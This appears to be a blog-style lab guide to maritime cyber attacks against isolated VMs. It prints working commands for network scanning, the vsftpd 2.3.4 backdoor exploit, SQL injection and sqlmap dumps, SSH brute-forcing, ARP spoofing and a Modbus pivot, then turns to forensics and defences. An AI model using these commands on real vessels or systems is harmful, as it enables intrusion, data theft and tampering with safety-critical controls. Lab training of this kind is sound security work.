[Hacking] Practice Guide — Maritime Ship Attack Scenarios
🛠️ Hacking Practice Guide: Maritime Ship Attack Scenarios — Step-by-Step for Security Researchers
Simulated attack scenarios targeting shipboard systems — ECDIS, AIS, cargo control, and crew network — using an isolated virtual lab to understand real maritime cyber threats and build stronger defenses
LinkedIn : linkedin.com/in/shipjobs
Collaborator : Lew, Julius, Jin, Morgan, Yeon
Ships are no longer isolated mechanical systems. Modern vessels carry ECDIS, AIS transponders, GMDSS, cargo management systems, ballast control PLCs, and crew Wi-Fi networks — all increasingly interconnected. Each system is a potential attack surface. This guide walks through 7 realistic attack scenarios against a simulated ship network, showing exactly how an attacker moves from initial reconnaissance to full system compromise — and what defenders must do to stop them.
🏗️ Lab Setup — Simulated Ship Network Topology
We simulate a mid-size cargo vessel's onboard network — segmented into Bridge (navigation), Engine Control Room (ECR), Cargo Management, and Crew/Admin zones. The attacker gains initial access via the crew Wi-Fi network and attempts to pivot toward critical OT systems.
| VM Role | OS / Tool | Simulates |
|---|---|---|
| Attacker | Kali Linux | External threat actor / rogue crew device |
| Target A | Metasploitable 2 | Ship management server / cargo portal |
| Target B | Windows Server 2008 VM | ECDIS workstation / bridge PC |
| OT Sim | OpenPLC + ScadaBR | Ballast / cargo pump PLC controller |
🎯 Scenario 1 — Network Discovery on the Ship LAN
An attacker connects a compromised laptop to the crew Wi-Fi network via a rogue USB device or social engineering. First step: discover all active hosts on the ship LAN — including management servers, navigation PCs, and OT controllers that should never be exposed to the crew network.
# Passive host discovery on ship LAN netdiscover -r 192.168.1.0/24 # Full port scan + OS/service fingerprinting nmap -sS -A -O 192.168.1.0/24 -oN ship_scan.txt # Target specific host — e.g. cargo management server nmap -sV -p 21,22,80,443,502,4840 192.168.1.100
Port 502 = Modbus (common in OT/PLC). Port 4840 = OPC-UA (industrial protocol). Presence of these on a crew-accessible segment is a critical misconfiguration.
🎯 Scenario 2 — Exploiting the Ship Management Server (Unpatched FTP)
The ship management server (Metasploitable) runs vsftpd 2.3.4 — a version with a known backdoor vulnerability (CVE-2011-2523). In maritime OT environments, software on shore-connected servers is often years behind on patches due to operational constraints and limited internet access at sea.
msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.1.100 # Ship management server IP set PAYLOAD cmd/unix/interact exploit # Post-exploitation: verify access level whoami # → root cat /etc/passwd # enumerate all accounts ls /var/www/html/ # cargo portal web files cat /etc/network/interfaces # internal network topology
Root access on the management server can expose voyage data, cargo manifests, LRIT position reports, and internal network routes toward OT systems.
🎯 Scenario 3 — Attacking the Cargo Portal via SQL Injection
Many ships run an internal web-based cargo management or voyage reporting portal. These systems often use legacy PHP/MySQL stacks with insufficient input validation — making them vulnerable to SQL Injection. An attacker who gains access can manipulate cargo records, alter stowage plans, or extract dangerous goods declarations.
# Open browser → http://192.168.1.100/mutillidae (cargo portal sim) # Navigate to: Login page # Enter: Username: ' OR 1=1 -- Password: (empty) # → Bypasses authentication, logs in as admin # Automated full DB enumeration with SQLMap sqlmap -u "http://192.168.1.100/mutillidae/index.php?page=login.php" \ --forms --batch --dbs # Dump specific table (e.g. cargo_manifest) sqlmap -u "http://192.168.1.100/mutillidae/index.php?page=login.php" \ --forms --batch -D webapp -T accounts --dump
🎯 Scenario 4 — Credential Brute-Force on Bridge Remote Access (SSH)
Many ECDIS workstations and bridge PCs expose SSH or RDP for remote maintenance by shore-side technical teams. If default credentials or weak passwords are in use — a common finding on vessels — an attacker can gain direct access to navigation systems. This scenario simulates a brute-force attack against an SSH service representing a bridge PC.
# Brute-force SSH with common maritime/vendor default credentials hydra -l admin -P /usr/share/wordlists/rockyou.txt \ 192.168.1.101 ssh -t 4 -V # Common maritime default usernames to try: hydra -L users.txt -P passwords.txt \ 192.168.1.101 ssh # users.txt: admin, operator, ecdis, bridge, sysadmin, root # passwords.txt: admin, 1234, password, vessel, bridge01 # Once credentials found — login and check system ssh admin@192.168.1.101 uname -a # confirm ECDIS OS netstat -rn # routing table — can we reach OT network?
fail2ban. Remote access should be routed through a ship-side VPN gateway, not exposed directly.
🎯 Scenario 5 — Man-in-the-Middle on Unencrypted Ship Traffic
Industrial protocols used in maritime OT — Modbus, NMEA 0183, IEC 61162 — transmit data in plaintext without authentication. An attacker who has access to the network can passively capture navigation data (speed, heading, GPS position) or actively inject false commands into cargo/ballast controllers. This scenario uses ARP poisoning to intercept traffic between a PLC and its HMI.
# Enable IP forwarding (so traffic still flows to victims) echo 1 > /proc/sys/net/ipv4/ip_forward # ARP poisoning — position attacker between HMI and PLC bettercap -iface eth0 # Inside bettercap: net.probe on set arp.spoof.targets 192.168.1.50,192.168.1.51 # HMI + PLC arp.spoof on net.sniff on # Alternatively: targeted Wireshark capture wireshark -i eth0 -k -f "host 192.168.1.50 or host 192.168.1.51" # Filter for Modbus (port 502) in Wireshark display filter: # tcp.port == 502
Captured Modbus frames reveal: function codes (read/write coils), register addresses, and raw sensor values — all in plaintext.
🎯 Scenario 6 — Lateral Movement: IT to OT Pivot
The most dangerous maritime cyber attack pattern is lateral movement from IT to OT. After compromising the management server, the attacker enumerates internal routes to identify OT controllers that are improperly segmented from the IT network. In real incidents (e.g., APM Maersk NotPetya 2017), this pivot caused global operational shutdown.
# From compromised management server shell (post step 2) # Discover adjacent OT network ip route # check routing table arp -a # cached ARP entries cat /etc/hosts # hostname mappings # Scan OT segment (192.168.2.0/24) via the pivot nmap -sn 192.168.2.0/24 # host discovery nmap -p 502,4840,102,20000 192.168.2.0/24 # OT protocol ports # If OpenPLC is reachable on 192.168.2.10 (port 502 — Modbus) # Use Metasploit auxiliary scanner use auxiliary/scanner/scada/modbusclient set RHOSTS 192.168.2.10 set FUNCTION READ_COILS set DATA_ADDRESS 0 run
🎯 Scenario 7 — Incident Detection, Forensics & Recovery
This final scenario switches to the defender role. The SOC or ship security officer (SSO) detects anomalous activity, performs log forensics to reconstruct the attack timeline, isolates compromised systems, and executes the vessel's Cyber Incident Response Plan (CIRP) as required by IMO Rev.3 and ISM Code.
# 1. DETECT — review auth and connection logs
cat /var/log/auth.log | grep "Failed\|Accepted"
last -i # login history with IPs
netstat -an | grep ESTABLISHED # active connections
# 2. IDENTIFY — find attacker footprint
grep "vsftpd" /var/log/syslog # FTP exploit trace
find /tmp /var/tmp -newer /etc/passwd # recently created files
ps aux | grep -v "^root" # unexpected processes
# 3. CONTAIN — isolate compromised host
iptables -I INPUT -s 192.168.1.200 -j DROP # block attacker IP
iptables -I OUTPUT -d 192.168.1.200 -j DROP
# 4. ERADICATE — remove backdoor artifacts
find / -name "*.sh" -newer /etc/passwd -exec ls -la {} \;
userdel -r [rogue_account] # remove added accounts
# 5. RECOVER — restore from verified backup
# Restore from pre-attack VM snapshot
# Verify checksum of critical system files
| Incident Date/Time | [UTC timestamp] |
| Systems Affected | Management server, cargo portal |
| Attack Vector | Unpatched FTP service (CVE-2011-2523) |
| Data Potentially Exposed | Voyage data, cargo manifests, crew accounts |
| Containment Action | Host isolated, attacker IP blocked |
| Notified Parties | Ship owner, DPA, flag state, class society |
These 7 scenarios map to a complete real-world maritime attack chain — from initial access on a crew device to potential interference with safety-critical OT systems. Each step has a direct countermeasure defined in IACS UR E26/E27 and IMO Rev.3.
- Network segmentation failures are the single largest enabler of IT-to-OT pivot attacks on ships.
- Unpatched legacy services (FTP, Telnet, outdated SSH) remain the most exploited entry point in vessel cyber audits.
- Plaintext OT protocols (Modbus, NMEA) require encryption or strict network isolation — not optional under UR E26.
- Incident response readiness — drilled, documented, and reported — is now a class requirement, not a best practice.
Comments
Post a Comment